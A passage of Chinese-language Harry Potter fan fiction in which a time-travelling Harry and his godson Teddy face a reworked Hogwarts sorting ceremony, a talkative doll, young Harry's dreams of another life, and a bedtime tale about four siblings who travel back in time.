“我现在无法得出任何结论。不过看来是时候去纽蒙迦德监狱拜访一下我的老朋友了,如果你不介意到时候和我同行。讨论可以留到那之后。不管如何,你怀疑我是无可厚非的。而我很感激你能给予我足够的信任,哈利。”邓布利多短暂地停顿,再次开口时已回复了一贯的平和,“这封信暂时交由我保管,可以吗?” 哈利摇摇头表示不介意,迟疑着张了张嘴。 “唔……”身后传来洛哈特迷迷糊糊的声音,在哈利的话出口前打断了他。哈利头也不回地补了个昏迷咒。一切又安静了。 邓布利多叹气,“哈利,让我猜猜,你是害怕被它破坏现在的一切吗?” “害怕,为什么不呢?”哈利低声重复道,肯定而非疑问。 “我能理解。” “不,你不能。”这次哈利飞快地反驳,“你无法想象我有多高兴,当以为只能在回忆中缅怀的人,活生生出现在自己眼前,并且都过得很幸福!就算这里不是我原来的时空,就算对他们来说我不是哈利·波特,而是陌生的哈利·佩弗利尔,就算伏地魔比以前更强大,可谁在乎呢?我想我已经喜欢上了这里的生活。” 渐渐习惯并接纳,所以会害怕失去,尽力恳求它们不要再度离他远去,这是人内心的渴求,无关勇气。 此刻,极度的安静催使一种陌生的惊恐在哈利体内翻涌,他只怕一开口说话,这些惊恐便会失去控制,不留退路。 “哈利,我没法告诉你这封信可能代表的各种意味,好的或坏的,但能保证信上所述的……那些‘死亡’,没有在过去发生过。如果你有怀疑,看看另一个哈利·波特和纳威·隆巴顿吧。至于它将来会带来的影响,不如换个方面来看。实际上,万物都会随着时间而变迁,正因为如此,生活会改变,我们自身也会不断改变,不再是原来的自己。”邓布利多端详着哈利的眼神愈发柔和,“所以哈利,不用对未知会带来的变化感到恐惧,因为我们不但可以去适应,也能去继续改变——往我们所希望的方向。” 邓布利多把话停在这里,留下哈利独自陷入思考。 时间缓慢地流动。 老人欣慰地看到蒙着那双碧色眼睛的迷雾尽散,而眼眸深处的光芒明亮得惊人。 于是,为了活跃气氛,他开了个无伤大雅的小玩笑,“我看时间差不多令人,今晚的分院仪式会是怎样的局面实在是令我万分不安。” 才从思绪中回神的哈利一愣,吃吃笑了。想起斯内普铁青的脸色,以及走调的分院歌,下定结论,“是惊悚,我看。” “谁说不是呢?”邓布利多笑眯眯地回道,显然也想到了同样的地方,“但我们不会让这种变化放任自流,因此需要更多努力和调整。” “我曾怕我会把一切搞糟。不过你是对的,阿不思。”哈利注视着他。 谈话到此进入尾声,哈利在离开前踌躇了片刻,欲言又止。 “还有什么事吗,哈利?继续未完成的求婚?”邓布利多用打趣的口吻说。 “若是你不反对的话,我只怕几位院长心脏不够强壮。”哈利轻松地耸肩,尽量让语气一如往常,“我……好吧,我把那封信的事告诉斯内普了。” 邓布利多没有表现出一丝一毫的惊讶,仿佛哈利说了件再平常不过的家常事。 “我明白了,他是怎么说的?” “当然是狠狠讽刺了一通,毫无建设性——‘你的胆子没从未来带过来吗?’”哈利惟妙惟肖地模仿某人的语气,“为了证明我的胆子还在,于是我过来了。” 邓布利多挑眉,“看来他也变了很多,不是么?” “谁说不是呢?”哈利脸上挂起微笑,在离开校长室前愉快地解除了洛哈特的昏迷咒。 49. 分院仪式(下) 当泰迪几个穿过门厅走进焕然一新的礼堂时,四张学院桌旁已几乎坐满了的学生,叽叽喳喳地似乎有说不完话;而最前端的教工桌旁教授们也差不多到齐了,各自和身边的教授低声交谈着。悬浮在桌子上的上千支蜡烛映照出一片欢快的气氛。 “真希望快点儿进行分院,我都迫不及待了。”罗恩兴致高昂地走在最前头,给自己找了个比较靠前的位子,好把接下来的分院仪式看得更清楚些。 “我可一点儿也不期待,巴不得躲得远远的。”小哈利坐到他旁边,懒洋洋地把面前的金盘子往前推了点,然后把下巴搁在桌子上,“如果你也在分院时被烧掉一半的头发,我敢打赌你会立时认识到分院仪式就是个噩梦的事实。” “这么说来,不知道分院帽怎么样了。”赫敏面带担忧地发言,显然还对一年前帽子着火的情景记忆犹新,“但愿它没事。” 小哈利送了她一个白眼,没好气地说,“得了吧,一顶破帽子,顶多再烧出几个洞来。” 一直没吭声、从坐下后便不停往教工桌那头寻找哈利身影的泰迪这时转回视线,张了张嘴——他好像,曾经不巧听到哈利抱怨过分院帽缺席今年的分院仪式将给教工们带来多大的麻烦。不过看看大家期待的神色,他决定还是保持沉默比较明智。 “我得说——”一个拖长了语调的声音从他右下方传来,“这座城堡比我想象中要宏伟那么一些。” 突然冒出来的声音显然吓了泰迪一大跳,随后他立刻意识到刚刚说话的正是西比这个人偶。 只见他大半个身子隐没在泰迪的衣袋里,仅把脑袋伸出来好奇地东张西望,似乎对这所历史悠久的魔法学校兴趣盎然。泰迪赶紧把手罩在他头上,紧张兮兮地左右探查一番,确认除了罗恩赫敏外其他学生的注意力都不在这里后,才小声抱怨,“小心点,西比。别被其他人发现了。” “什么时候一位伟大的魔药大师也需要躲躲藏藏了?”西比高傲地挥开泰迪的手,毫不掩饰自己的不满之情。对于顶着那张能让全校学生惊恐万分、斯莱特林学院院长特有的扑克脸,骄傲的人偶没有丁点儿自觉。 “那不是重点。”泰迪忍耐不住叹气。 他绝对不会怀疑如果西比在众人面前招摇过市将引起怎样的轩然大|波。 至少在霍格沃兹特快列车上已经得到明证。 除了泰迪和罗恩两个始作俑者,小哈利花了半天才好不容易把下巴给扳回去,而不巧来车厢串门顺便找□□的纳威可怜巴巴地直到下火车了都没再敢往他们这边靠近半步,连带着两个跟班特地来和泰迪打招呼的德拉科都大惊失色,直接左转出门——以至于泰迪疑心德拉科寄住在斯内普家的那段时间里是不是被西比给折腾惨了。相比之下,了解了前因后果的赫敏还能保持冷静的脑子——她先是责备泰迪和罗恩的胡闹,接着一面惊为天人,一面探究的心理蠢蠢欲动,就差没亲自动手拆线来研究构造——当然啦,最后在西比捍卫生命的严词拒绝下爽快地放弃并道了歉。 不管怎样,人偶的存在无疑是个大麻烦。而泰迪正准备再叮嘱几句,以免麻烦升级为超级大麻烦,忽然充斥整个礼堂的嗡嗡声就像被某个消音魔咒所抹去般,瞬间沉寂下来,随之是罗恩在低呼,“看!他们进来了!” 几个孩子循声望去,果然今年的新生正在麦格教授的带领下鱼贯而入,除了个别几个苍白着脸但还能保持镇静的,其余的大都战战兢兢,满脸紧张不安,仿佛在前面等待他们的不是分院仪式,而是断头台。 “奇怪了,分院帽呢?”耳边是小哈利疑惑的声音,“他们终于决定换掉那顶破破烂烂的帽子了吗?” “别胡说了,哈利。”赫敏用同样小的声量反驳,“自从分院帽被四位创始人创造出来后,霍格沃兹就没有用过别的分院方式,这在《霍格沃兹,一段校史》里写得清清楚楚的。” 泰迪这才仔细观察麦格教授捧在怀里的东西——果然,本该是主角的分院帽不见踪影,取而代之的是一本镶金边的黑皮书。而这次,她甚至没把三角凳拿出来。 显然发现这点不同寻常的并非只有赫敏,因为刚才消沉下去的嗡嗡声又开始活跃起来。 “看到了吗,她没有拿分院帽!” “真奇怪,是拿错了吗?” “和你赌五个加隆其实是麦格教授得了麻瓜说的那个老年痴呆症。” “赌了!” 撇开学生们私底下的满腹疑惑,按照惯例,这时候本该是分院帽的唱歌时间。可是仿佛今天出人意料的事还不够似的,如今四个院长站成了一排——麦格教授捧着书站在最中间,站在她左边的斯内普脸色可怕得犹如吞了一条弗洛伯毛虫——他们在众人不解的目光中深深吸了口气,张开嘴: 你们也许对我们很陌生, 但千万不要掉以轻心, 对于掌管四个古老学院的院长们, 不要玩弄任何小把戏。 因为我们拥有四双眼睛, 可以窥视头脑里的思想, 替你们寻找适合的位置。 来吧!打开它! 我们会作出判断, 你们应该分到哪一所学院。 唱完一段合唱后,麦格教授独自向前迈出一步: 欢迎你,英勇无畏的孩子, 你的胆识和气魄会引领你成为勇往直前的格兰芬多; 接着是矮矮胖胖的斯普劳特教授: 来这里,正直诚实的孩子, 你的勤劳和坚忍将把你塑造成品德忠诚的赫奇帕奇; 弗立维教授一手甩着圆顶帽几乎跳起来: 别选错,聪明伶俐的孩子, 你的智慧和好奇会带领你走向博学睿智的拉文克劳; 斯内普一脸被偷了魔药似的不情不愿: 相信我,野心勃勃的孩子, 你的血统和深谋远虑将成就出权势崇高的斯莱特林; 最后又是高潮的大合唱: 不必惊慌——不必害怕—— 伸出你们的手—— 我们——会把你们教育成才—— 我们——在此严正以待! 梅林在上,最后一段的调子比之前独唱整整高了八度,每句尾音还拖得很长,等唱完后院长们也差不多青着脸快断气了。当然,耳朵饱受荼毒的学生们也快陪着一起断气了。 斯内普在唱完最后一个音时一甩黑袍,头也不回地用最快的速度回到自己的座位上,仿佛难以忍受在前面多呆一秒。不巧位置在他隔壁的哈利捂着嘴肩膀不停在抖,无视斯内普凶光四射的视线,随手递给他一杯水,笑嘻嘻地继续看着笑话。 当余音散去后,台下一片死寂,随即爆发。一时间场面失去了控制。 “唔,我算是听明白了。”在满堂的乱哄哄中,人偶西比还能若有所思地摸着下巴,“他们这不要命的唱法是在诅咒新生吗?” 小哈利下巴第二次脱臼,结结巴巴地向伙伴们求证,“我……我没听错吧?” “你没听错,说不定明天预言家日报的头条就会是——《霍格沃兹四大院长携手献上分院歌》?”罗恩喃喃地回道,表情仍然呆滞。 “坦白说唱得比分院帽好多了——虽然高音部分有点毛骨悚然,以后每年都会是教授们唱分院歌吗?我敢说歌词还是分院帽想的,一贯没水平的风格啊。”赫敏之前还在替分院帽惋惜,现在又开始双眼放光。 大家都不约而同地点头赞同,只有泰迪同情地说,“西弗真可怜,我记得他不喜欢唱歌的。”因此得到了众人一致的白眼。 学生们都处于极度的兴奋和惊讶中,但这不过是个开始。 “安静!”麦格教授古板的脸上居然泛出一层可疑的红晕,看来唱歌对她本人的冲击也不小,“现在开始分院仪式。”她翻开手中那本黑皮书,“念到名字的新生请上来,我会指导你该怎么做。” “艾伦森,亚伯特。” 最先被叫到名字的是一个褐发的男孩,他手脚僵直地走到麦格教授身边,一副不知所措的样子。 看不清是怎么做到的,麦格教授竟从黑皮书中取出一张类似塔罗牌的卡片递给男孩——卡片正面除了印花外框外是空白的,而背面则印有那个学生的名字。 “双手拿着卡片,闭上眼睛集中精神。它会替你选择适合的学院。” 照指示做的男孩浑身发抖,小脸憋得通红。卡片原本空白的部分浮现出一些线条,渐渐构成了一副苍鹰的图纹,完成的同时苍鹰拍动翅膀,发出猛厉的声响脱离卡片的束缚、斜刺冲天。男孩被突如其来的变化吓得往后一跳,卡片落在了地上,眼睁睁看着雄鹰的幻影在上空盘旋了好几圈后才逐渐消散在空气中。 “拉文克劳。”麦格教授宣布道。 按照正常的流程,现在应该是拉文克劳的学生们以热烈的喝彩和掌声迎接他们的一年级新生。 可惜很遗憾,大家似乎集体中了定身咒。 所有人都瞪大眼盯着男孩,哦,不对,是瞪着他脚下的卡片。 亚伯特颤抖着手拾起卡片还给麦格教授,局促地扯着学生袍左右四顾。当他发现大家的表情都不见得好到哪儿去时,窘迫得都快哭出来了,犹豫着是否该走去拉文克劳的桌子。最后他在令人心惊肉跳的诡异气氛中,被麦格教授不耐烦地赶了下去。 对于新生而言,今年的分院仪式几乎是一场灾难。 每个被分到格兰芬多的新生都不得不捂着一边的耳朵——幻化出来的狮鹫必然不甘寂寞地冲着他们吼几声。 而属于斯莱特林的新生在享受被蛇绕脖子几圈的待遇后,还能面不改色走下去的实在不多。 相比之下赫奇帕奇真是梅林保佑,那些有着黑白相间条纹的獾简直可以用乖巧可爱来形容。 此时麦格教授念到了以C字开头的姓氏。泰迪看着科林·克里维用好奇中带点敬畏的神情接过卡片,片刻一只獾自卡片中跃出,欢快并亲昵地蹭着他的裤脚——于是科林成为赫奇帕奇新生中的一员。有点出乎意料,他还以为科林更像一个格兰芬多呢。这么想着,一丝极微弱的不协调感划过脑际,可又说不上来是哪里不对劲,所以他很快便把这点疑惑扔到脑后,继续关注下一个进行分院的新生。 当最后一个新生在狮鹫的怒吼声中撞撞跌跌走向格兰芬多的桌子后,压抑许久的声音仿若解脱了束缚,各种议论、尖叫、喝彩的声浪瞬间填满了诺大的礼堂。 随之而来的夜宴更是在填饱孩子们肚子的同时,为他们的口沫四溅提供了能量——美味佳肴也不能打消他们一口二用的劲头。 “今年的分运(院)仪式思(实)在太精彩了!”罗恩口齿含糊地说,把手伸向第二个鸡腿。 “也很不寻常,没有分院帽的分院仪式,我呆在霍格沃兹呆了几百年,从来没遇到过……”没有头的尼克从他身后飘过,幽幽地来了这么一句。“霍格沃兹在改变……巫师的世界也有哪里不一样了……究竟是好是坏……” 正在切牛排的泰迪动作一顿,然后假装若无其事地把头埋向他的盘子,似乎在全神贯注地细数牛排上的纹理。 一旁的赫敏和小哈利就着尼克的话争论了起来,罗恩夹在他们中间不知该帮谁的腔。 (是因为他和哈利穿越时空回到这个时代的缘故吗?) 泰迪只觉得面前的牛排面目可憎起来,干脆搁下叉子,偷偷往哈利所在的方向看去——他的教父不知道说了什么把魔药大师气得脸色铁青,快活得很。 (可为什么哈利看上去一点也不担心呢?) 收回了视线,泰迪忽然觉得毫无食欲。 与众不同的分院仪式带给众人的冲击过大,直到邓布利多开始介绍新来的黑魔法防御术课老师——洛哈特时,才引起新一轮的混乱。 “天啊,洛哈特居然是黑魔法防御术课老师?”赫敏捂嘴小声惊呼,然后压低声音向同伴问道,“那么佩弗利尔教授呢?” 她得不到答案,显然每个人都抱有和赫敏同样的疑问,毕竟哈利作为黑魔法防御术课的老师风评一向很好,所以大部分的视线都集中在哈利身上,掌声反而不如预期般热烈。 而洛哈特起身向大家致意时神色蔫蔫的,一脸没睡醒的茫然状。坐在教工桌另一边的哈利满脸微笑,很淡定地把自己当成无关人士。 只有邓布利多依然笑眯眯地看着大家, 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“既然韦斯莱先生没意见,那我们继续刚才的话题。”邓布利多清了清喉咙,语调轻快地说,“我想你们都知道,往年霍格沃兹唯一的大型活动就是魁地奇比赛,如果不算上平时私底下的小打小闹的话——”底下不少学生笑出了声,“而今年,在□□们的一致同意下,我们决定增加两项活动,在不与魁地奇比赛冲突的情况下,让霍格沃兹的学生有更多参与的机会。我们希望通过这些活动能增加学院之间的友谊,也能同时让你们为各自的学院获得荣誉。” 说到这里,邓布利多故意停顿片刻,直到吊足了所有人的好奇心,才再次开口。 “第一项活动是圣诞节晚会的话剧表演,第二项活动则是圣诞节后开始的决斗比赛。” …… …… 寝室熄了灯,兴奋的余波逐渐散去。 泰迪在黑暗中睁大双眼,耳边是其他人逐渐平缓下来的呼吸声,可他却一点睡意也没有。 翻了个身,眼角余光却瞥见似乎有亮光在闪烁。熟悉的,两点荧光。 泰迪干脆下了床,对着那块阴暗角落迟疑地出声,“多比?” 那双闪着幽幽绿光的大眼睛仿佛受到惊吓一般剧烈地摇晃起来。 “是你吗?你在那儿做什么?”本应该留在睿瓦纳塔的家养小精灵怎么会半夜跑到格兰芬多的宿舍里呢? 然后借着微弱的月光,泰迪清楚看见了慢慢向他靠近的小精灵的轮廓。 “你刚刚站在那儿做什么?多比?”他尽量放柔声音,以免吓坏惶恐不安的小精灵。 “多……多比打扰泰迪的休息了吗?多比太坏了!太不像话了!”多比语带哭腔,已经看准了最近的墙壁想献上自己的脑袋。 “停停停!”泰迪伸手,驾轻就熟地制止了它的自虐行为,“你会伤到自己的,唔,还会把我的朋友吵醒。”他想了想又加了句,用空出的那只手指了指其他人的床。 “多比……很抱歉……”小精灵抓着前襟大口喘气。 “那么你是来找我的吗?” 灯笼般的大眼睛扑闪扑闪,然后才想起自己目的似的小声尖叫道,“泰迪把挂表忘在家里了!多比记得泰迪说过这块挂表很重要,所以多比替您送过来……多比——” “多比不该这么晚到的才对。” 泰迪惦记着接过他的挂表,没有听到小精灵恍惚的喃喃低语。 他手指抚过表面上掉了漆的浮雕,忽然想起自从哈利回来后就搁在床头再也没用过。“谢谢你,多比。” 多比使劲甩它的一对大耳朵,在离去前鞠了一躬,“多比很荣幸!” 泰迪再次回到自己的床上,打定主意就算用数猫头鹰的方式也要尽快让自己睡着。 “泰迪?你还没睡?”旁边传来小哈利迷糊的呢喃声。 “哦,刚刚多比来过,我们说话吵醒你了?”他带着歉意转头看过去,随后怔住——在幽暗的月光下,小哈利的表情是无法言喻的古怪,仿佛刚从梦魇中惊醒。 “哈利?你做噩梦了吗?” “噩梦……”小哈利用手拂开贴在汗津津额头上的乱发,样子清醒了些,“不,不算是噩梦,而是我做了个奇怪的梦。” 他顿了顿,语气反而更加迷茫,“事实上,我不是第一次做这么莫名其妙的梦了,爸妈是有叫我不要去想它啦。我也一直没敢跟爸妈说梦里的内容,要是被小天狼星知道,他会笑话我一年的。” “奇怪的梦?”泰迪纳闷。 小哈利皱皱鼻子,“还很可笑,我梦到爸妈都死了,为了保护我。于是我成了一个孤儿,寄宿在麻瓜亲戚家里——天知道我妈妈是不是有个麻瓜姐姐叫姵妮,她那张马脸和我妈妈一点也不像。他们对我很不好,而且还都讨厌魔法。我十一岁才知道自己是个巫师,而且还是巫师界的名人,他们都叫我‘活下来的男孩’……真奇妙,我好像在另一个世界里过着完全不同的生活。” “当然啦,我和罗恩、赫敏还是最要好的朋友,可为什么梦里没有你呢?” 小哈利仍在回味那个梦,所以他忽略了泰迪那一瞬间露出的近乎恐惧的神情。 泰迪在心慌意乱中攥紧了手中的挂表,掌心被铜质表壳上的浮雕硌得生疼,可他只觉得没有什么比小哈利口中的“那个梦”更难以忍受了。 “今天的梦里是一条大蛇,我从没见过那么大……” “哈利!”泰迪忽然急切地打断他,“别再想它了!” 小哈利吓了一跳,惊讶于泰迪语气中和他性格毫不相符的烦躁。 “你父母是对的,你不该陷进去。” 泰迪用力抿着嘴,最后缓慢地说。 “那只是一个梦。” “……你说得对。”小哈利看了他一眼,打了个赞同的哈欠,很快又陷入了安静的睡眠。 深沉的寂静一下子布满了整间寝室。泰迪静静在床上坐了一会儿,终于松开紧握的手,挂表正沉默地躺在他手掌上。他手指轻轻一按,表罩啪地弹开——小巧精致的月亮自表盘升起,而两根指针稳稳地指着“安全”的位置。 50. 守护神与《穿越时间的四兄妹》 魔药课上,泰迪正低头努力把荨麻叶切成丝,忽觉背部被什么硬物戳了一下,下意识地回过头,果然看到小哈利正对着他挤眉弄眼的。 泰迪疑惑地皱眉,只见小哈利趁机塞过来一份卷成筒状的预言家日报,努努嘴示意他打开来看。 斯内普在纠正一个斯莱特林学生的错误,没有注意到他们这边的小动作。泰迪把报纸摆在桌底下偷偷打开,颇有些心虚,不住地往魔药教授的方向瞄去,可他的注意力很快就完全被日报上的内容吸引住了。 一幅照片几乎占据了整个头版——抓拍的正是分院仪式上四个院长并排唱分院歌的那一幕。 照片里的斯内普铁青着脸,极力想往旁边走,脱离照片的范围。可惜他的衣袍被麦格教授牢牢攥住,只好继续维持别扭的姿势,嘴里还得不停地唱歌。 泰迪费了好大的劲忍住不笑出声来,一边心里感叹预言家日报的动作飞快——今天离前天晚上的分院仪式不过隔了一天而已。 “预言家日报该不会有卧底藏在学校里吧?”泰迪小声嘀咕的同时目光往下移。 下面报道的标题是《霍格沃兹分院背弃传统,是否会引发魔法世界新潮流》,撰写人是一个叫丽塔·斯基特的记者。 “一年一度的分院仪式是霍格沃兹魔法学校每年必备的传统项目,然而今年开学的分院仪式上,霍格沃兹现任校长、国际魔法师联合会主席、威森加摩即巫师协会首席法师阿不思·邓布利多及四个学院的院长们联合上演的一幕却让新生们大跌眼镜,也令家长们对分院的准确性担忧不已。这次的分院仪式上摈弃了自霍格沃兹创立以来便存在至今、聚集了霍格沃兹四位创始人魔法精粹的分院帽,究竟是有着不可告人的隐秘的无奈之举?还是霍格沃兹魔法学校面临改革的先兆?据某位不愿透露名字的二年级格兰芬多学生爆料,他在去年的分院仪式上差点被着了火的分院帽烧光头发。联想到今年分院帽的缺席,也许我们还不得不认识到,年代过于古老的魔法物品在安全上存在的隐患。日前记者就此问题采访了魔法教育部的部长……” 到底魔法教育部部长说了些什么,泰迪已无从得知—— 不知何时斯内普来到他的桌边,伸手抽走了他手中的报纸,严厉的目光快速扫视日报头版的内容,又用同样的目光俯视被抓住后显然不知所措的泰迪,脸上的神情意味不明,“卢平先生,我得提醒你,魔药材料可不会在你看八卦的时候自己跳进坩埚里。” 默默忍受着斥责,泰迪感觉到全班的视线都集中在自己身上,其中一半是担忧,另一半则是幸灾乐祸,地窖里令人窒息的沉默使得他脸颊阵阵发热。 然后泰迪忽然意识到,这是暑假以来斯内普第一次和他说话,因为他一直以来有意无意的躲避。 西弗肯定早就发现了。 这么想着,他垂低视线,更不敢对上斯内普蕴藏怒意的黑眼睛和唇边的那抹讽刺。 “我……” 一声忽如其来的巨响猛然冲击耳膜,伴随着刺鼻的气味和飞溅的滚热液体。还没等泰迪反应过来,一只手抓住他的肩膀,把他拉向一旁护了起来。 在肢体接触的刹那,眼前浮现的纯金色的幼小生物仿佛一道亮光狠狠击中他的脑袋,击碎了那到名为恐惧的壁障,照亮了那块狡猾而顽固的阴影。 “我忘了放荨麻叶——”地窖后面传来纳威拖长了音的哭声。 “又是你!隆巴顿!第一节课就炸掉坩埚!格兰芬多扣十分!”斯内普暴跳如雷,“有没有受伤?”最后一句是对一脸呆滞的泰迪发问的。 男孩只是怔怔地望着他。 “卢平!” 泰迪被夹杂焦虑和担忧的声音唤醒,目光落在斯内普仍摆在他肩上的手,缓缓摇了摇头。 “对不起。” 斯内普怔了一下,神情莫测。 “真的对不起。”泰迪轻声重复了一次。他仰起脸,浅灰色的眼睛生动起来,“西弗,我很喜欢你的独角兽。” …… …… 眼看新学期的第一个星期就要过去了,泰迪已经适应了学校生活的节奏,平时和伙伴们打打闹闹,没事就去地窖帮斯内普准备魔药材料,过得充实而快乐。人偶西比一开始还饶有兴趣跟着他上了两节课,但第二天就不告而别,泰迪猜测它现在正在城堡里冒险。至于哈利似乎学习了鬼魂们的神出鬼没,根本别想在高年级的黑魔法防御课教室以外的地方找到他的踪影。 直到周六晚上,他才在晚餐时间的礼堂看到自己的教父主动前来招呼他,然后顺理成章进驻了哈利的卧室。 哦,天知道他有多少事情想要和哈利分享。 “所以说,洛哈特在第一节黑魔法防御术课上就教你们遗忘咒?”哈利放下手中的《高级黑魔法防御术》,颇感兴趣地问道,“他之前没有给你们做一个小测验?上面都是些——比方说——洛哈特的生日是哪天之类的问题?” “当然做了!赫敏是唯一一个得满分的,当时洛哈特教授激动得简直就想去亲她一下。不过我猜罗恩会愤怒的。”坐在哈利对面的泰迪对着魔药课的作业,咬了会儿笔杆,埋头在羊皮纸上写道,“曼……曼拉德草?” “是曼德拉草。”哈利随口纠正了他的拼写错误,“遗忘咒学得怎样?” “唔,那节课没什么机会来实践。不过洛哈特教授对纳威施展了一次做示范,纳威记不起那天的早餐吃了什么。可我们都不能确定是否他的咒语真的起效了——”泰迪匆匆写下曼德拉草的功效,然后耸耸肩,“纳威的记性本来就不好,罗恩说他肯定是故意选纳威的。” 哈利笑得几乎喘不过气来。 “但赫敏说遗忘咒不属于黑魔法防御术课的教学内容?”泰迪歪着脑袋问。 “严格来说,的确不是。”哈利努力抑制抽搐不已的唇角,“只是我当初曾向洛哈特教授建议,他完全可以选择他擅长的魔法来教授。”总比他吹嘘的那些名堂要好得多,哈利在心里补充了一句。毕竟遗忘咒是洛哈特唯一用得好的咒语,因为熟能生巧。 “大家都宁愿哈利你回来教我们,罗恩唠叨好几次了。只有赫敏可崇拜洛哈特教授了,昨天去海格家喝下午茶的时候还为他说话呢。”泰迪在羊皮纸上写下最后一个字,站起来伸了个大懒腰。 “好了,说说别的。”哈利转换了话题,“听说你打算报名圣诞节的话剧表演?” “你怎么知道的?” “我今天在走廊上遇到了韦斯莱双胞胎。”哈利随意地挥挥手,“魁地奇队怎么办?我认为你很有天赋,为什么不去挑战一下追球手呢?”作为格兰芬多的前黄金找球手,哈利还是希望能看到自己的教子在魁地奇比赛中的优异表现。 “哈利,哦,我是指那个哈利,他当然是要做找球手的。罗恩有了一把新扫帚,也被哈利拉去了。说真的,少我一个没关系。”泰迪满不在乎地回道。他把自己甩到柔软的床上,舒适地打了几个滚,“而且,话剧听上去更有趣,赫敏也会和我一起去。” 哈利投去哀怨的目光,被泰迪的决定无情击败,“好吧,既然你这么决定。” “哈利,你知道话剧会演出什么剧本吗?下个周六就要选拔演员了。” “洛哈特教授曾强烈希望能把他的著作《与吸血鬼同船旅行》或者《与狼人共度周末》改编成话剧,感谢梅林他不知道莱姆斯就是只狼人。”哈利夸张地抬了抬眉毛。 泰迪发出吃吃的笑声。 “后来邓布利多慷慨地天天请他去校长室品尝了新口味的比比多味豆,才终于得到他的同意,放弃那些血淋淋的故事,在诗翁彼豆故事集里选一个更适合儿童巫师观看的故事。”回想起洛哈特因一连吃到三颗鼻屎口味而崩溃的情景,哈利又忍不住笑了起来,右手向前摊开,“故事集飞来。” 一本浅蓝色封皮的故事集嗖地一下飞越半个房间,停在哈利的掌心上。 “瞧,就是这本。还记得我以前给你讲过的《好运泉》和《三兄弟传说》吗?” 目光若有所思地在哈利手上的故事集打转,泰迪忽然眼睛一亮,“嗨,给我讲床头故事吧,哈利!你好久没讲过了。” 哈利愣怔片刻,随后哭笑不得,伸手揉乱他的头发,“那是因为你长大了。” “我现在也才六岁。” “可你已经是二年级的学生了。” 泰迪小脸瞬间涨得通红,接着又眼巴巴地盯着自己的教父,“拜托了,拜托了!” 在教子那小熊般无辜而渴望的眼神攻击下,哈利坚持不到一秒就举手投降了。任谁也无法拒绝可爱教子难得任性的请求,尤其还是讲床头故事这种几乎微不足道的愿望。 “就像以前那样?” “就像以前那样。”泰迪毫不吝啬地给头发染上一层明快的橘黄色,一个翻身,把枕头抱在身下。 这让哈利的心也雀跃起来。当初小天狼星听到他答应一起住的时候,是什么样的表情?哈利想,肯定和自己现在的表情一模一样。 “听你的。”哈利好心情地说,“那我们得找个没讲过的故事,让我看看——”他飞快浏览整本故事集,很快目光就定格在某一页上,“《穿越时间的四兄妹》?我可不记得诗翁彼豆故事集里有这么一篇故事。好吧——” 他挥手间调暗室内的灯光,又施了个漂浮咒,使故事集浮在自己的面前。 一切准备妥当,哈利微一欠身,风度十足,“那么,现在是哈利的床头故事表演时间。” “哦!太好了!”泰迪赶紧从枕头下抽出双手,动作笨拙地拍手欢呼。 “很久很久以前,有四兄妹和他们的母亲居住在森林里的一幢小木屋里。他们一家都是巫师,平时由身为女巫的母亲教导四个孩子魔法。然而,年轻而富有朝气的四兄妹都对森林里枯燥寂寞的生活感到厌倦,他们更向往精彩、刺激的冒险生活。而随着他们学会了更多的魔法,想要见识更广阔的世界的渴望也愈加强烈。” 哈利一边口中念着故事,同时右手指尖冒出一丝烟雾,瞬间弥漫泰迪眼前的空间,待得烟雾散去,展现在他眼前的是一片浩瀚的森林及一栋歪歪斜斜的小木屋。 “于是有一天,他们打定了主意——” 这一次烟雾化成了四兄妹中最小的妹妹缪丝,她兴致勃勃地大嚷,『听说外面的人都不会魔法!』 比缪丝大一岁的米拉反驳,『母亲说过外头还有许多巫师!』 『我希望能到外头使用我的魔法,而不是把魔杖搁在角落里长蘑菇。』最年长的男巫雅克把玩着手里的魔杖。 『亲爱的妈妈,我已经迫不及待想看看森林外面是怎样的世界了。』排行第二的阿克瑞斯俯身亲吻了母亲的面颊。 年迈的母亲微笑着支持他们的任何决定。 『一路顺风,孩子们,也祝愿你们的魔法能为自己和别人带来幸福。』 “就这样,兄妹们离开了家园,各自踏上冒险之旅。” 眼瞧着四兄妹向 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“约定的时间到了,四兄妹匆匆赶回家园,回到森林里的小木屋。他们从来没有那么期盼能一家人围坐在温暖的壁炉边,在互诉思念之情后,分享旅途中的各种趣事。可是——” 哈利故意在转折处停顿片刻,泰迪的心随之高高悬起,“可是什么?” “可是,当四兄妹和彼此会合时,眼前的一切却让他们十分震惊。他们找不到故乡的森林,找不到陪伴他们成长的小木屋,也找不到他们的母亲。” “森林怎么会不见呢?” 在泰迪的面前,一缕缕蓝色的烟雾交错缠绕,形成一片汪洋大海,回答了他的疑问。 “变成了海?森林怎么会变成海洋?”泰迪依然困惑。 “咳,这估计得用麻瓜的地理来解释。”哈利微微感到尴尬,羞愧于他的麻瓜地理成绩和后来的魔药学是同一水平的,“我们还是接着讲下去吧。” “可四兄妹的母亲会在哪儿?” “四兄妹四处找啊找啊,终于找到了一位以前住在森林附近的村庄的老人。老人告诉他们,他们的母亲已经在五年前去世了,是村民们为这位善良的女巫举行的葬礼,而他们的家园,也在之后就被毁了。” 泰迪叹息一声,把半边脸埋进了枕头里面,传出闷闷的声音,“他们必定很伤心,也许会后悔不能在母亲去世时陪在她身边。” “当然后悔,所以他们做出了一个决定——回到十年前离开家的那一天。” 泰迪兀地瞪大眼睛,直盯着自己的教父。 “穿越时空吗?” “是的,为了回到过去。” 四个原本聚集在一起烟雾小人再次分开。 “四兄妹的魔法各有所长,十分高强。可就连他们的母亲也从未教过他们足以穿越十年时光的时间魔法。每个人都有自己的想法,谁都说服不了谁。最后,由雅克提议,四人分头用自己擅长的魔法寻找回去的方式。” “老大雅克挥动魔杖,用海边的石块建成一座拱门。他听到了母亲在拱门另一边的呼唤声。” “他的弟弟阿克瑞斯来到海边,用施展了魔法的水瓶装了满满一瓶海水,再把饱含对母亲的记忆的泪水滴入其中。” “妹妹米拉制作了一面魔镜。她向魔镜祈愿,然后在镜中看见了令人怀念的小木屋,母亲悠闲地坐在摇椅中朝她挥手。” “最小的缪丝则为她的魔法八音盒上了发条,滚筒转动,叮咚作响,音乐流淌而出——那是小时候母亲常为她唱的安眠曲。” 雅克穿过了拱门。 阿克瑞斯的灵魂被吸入水瓶里的漩涡。 米拉牵着母亲的手跨入镜中。 缪丝的八音盒走完第十圈,回到原点。 “他们成功了吗?”泰迪小声问道。 “是的,当他们再次睁开双眼时,他们正站在十年前的小木屋里,背着包袱准备和母亲道别。森林依然存在,母亲依然对他们微笑。 这熟悉的一幕,让年轻的四兄妹眼中都噙着泪水。” 『是时候出发了,孩子们。』母亲和蔼地说,微微讶异于孩子们的变化。 